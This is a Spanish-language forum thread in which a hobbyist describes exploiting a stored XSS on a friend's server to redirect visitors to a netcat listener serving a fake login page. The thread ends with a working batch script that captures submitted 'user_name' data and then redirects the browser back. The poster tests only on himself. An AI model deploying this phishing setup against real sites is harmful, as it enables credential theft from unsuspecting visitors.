Buenas compañeros, estoy investigando (intentando explotarlo ^^) un bug XSS permanente que hemos puesto en el server de un compañero, lo que pretendemos es lo siguiente:


Bueno explico un poco "PC (Victima) y PC(Atacante) soy yo, el compa solo me habilita una variable ^^, bueno lo que pretendemos es que una vez visitada la direccion donde hemos colocado el XSS me redirija a un netcat que tengo escuchando en un puerto, una vez me conecta me sirve una pagina falsa, introduzco los datos, valido, hasta aqui todo bien pero no consigo que netcat se desconecte de la primera conexion para lanzar la segunda pag, empleo este code



Mi pregunta es, como hago para que una vez enviada la primera pagina se desconecte y se ponga otra vez a la escucha listo para servir la segunda pagina que me redirigiria al servidor web?

Si hay algun consejillo se agradecera ^^

Un saludo gente

El SO es un XP Pro ciertamente seria mejor con un server, probare, pero haun y eso no habia un flag para hacer que NC se desconectara al cabo de un tiempo X

Para saber si con nc se puede u no definitivamente, a lo maximo que hemos llegado es a simular un error de carga con


Pero no habiamos conseguido devolver a la pag original , supongo que NC tmb tiene ciertos limites pero mi cabeza le sigue dando vueltas manque no quiera ^^

Gracias por interesarte en la duda ^^

Pos a mi no me la finalizaba nu se pk ?¿?, bueno agradezco tus consejos como aporte para que no sea todo pedir dejare la solucion con Netcat (Que la encontre )


Con este code corto un netcat y respondo con otro al vuelo, utilizo -d para desvincularlo del DOS en el primero y poderlo matar individualmente sin perder al PC(Victima) que sigue esperando su respuesta, que es devuelta por la ultima parte del code, pero obviamente lo que antes pretendia era imposible pk queria correr los dos nc en el mismo puerto y al mismo tiempo.

No se si os servira pero por aportar que no sea

No entiendo muy bien lo que me quieres decir con "atomicidad" si te refieres a la fiabilidad, no puedo responderte pues soy yo mismo mi propia victima, lo que si puedo añadir es que me deja en la pagina principal del server, con lo cual una vez regresado el navegador a la pag del server ya no podre conectar otra vez con el nc pues el procesos esta terminado.

No dudo de que tu solucion sea mejor , esta claro que es mejor, solo es rizar el rizo por decirlo de alguna manera ^^


Edito: Este comando lo lanzo desde un archivo por lotes y funca perfectamente , puntualizando que soy victima y verdugo pero supongo que para otro pc cualquiera seria el mismo resultado

Yo creo que es pk como NC una vez servida la primera se queda en espera, la pagnina es como si no se hubiera acabado de cargar pk el canal sigue abierto, y como el primer nc lo tengo con -d, el matado y vuelta a arrancarlo sera lo suficientemente rapido como para que el cliente no detecte un fin de conexion??, realmente no se que contestarte funcar funca, si quieres te mando por MP el link y cuando me digas probamos para que lo veas con tus propios ojos, iwal si lo ves en accion podamos dar respuesta a porque funcion XD!!

Que ironia, de "no funcion , porque?" a "si funiona!, porque?" XD!!!

Edito: Tal vez por el TTL de la conexion?, por cierto el code de esa manera si que era bastante inestable, lo e reordenado y ara parece que va mejor

@echo off
type "o:\batt\bk3.htm" | nc -vdl -p 3000  | find "user_name"  && goto uno
:uno
taskkill -im nc.exe && goto dos
:dos
type "o:\batt\bk4.htm" | nc -vlw 5 -p 3000 && goto tres
:tres
exit /b
 

Asi aparte de verse mejor , funca mejor ^^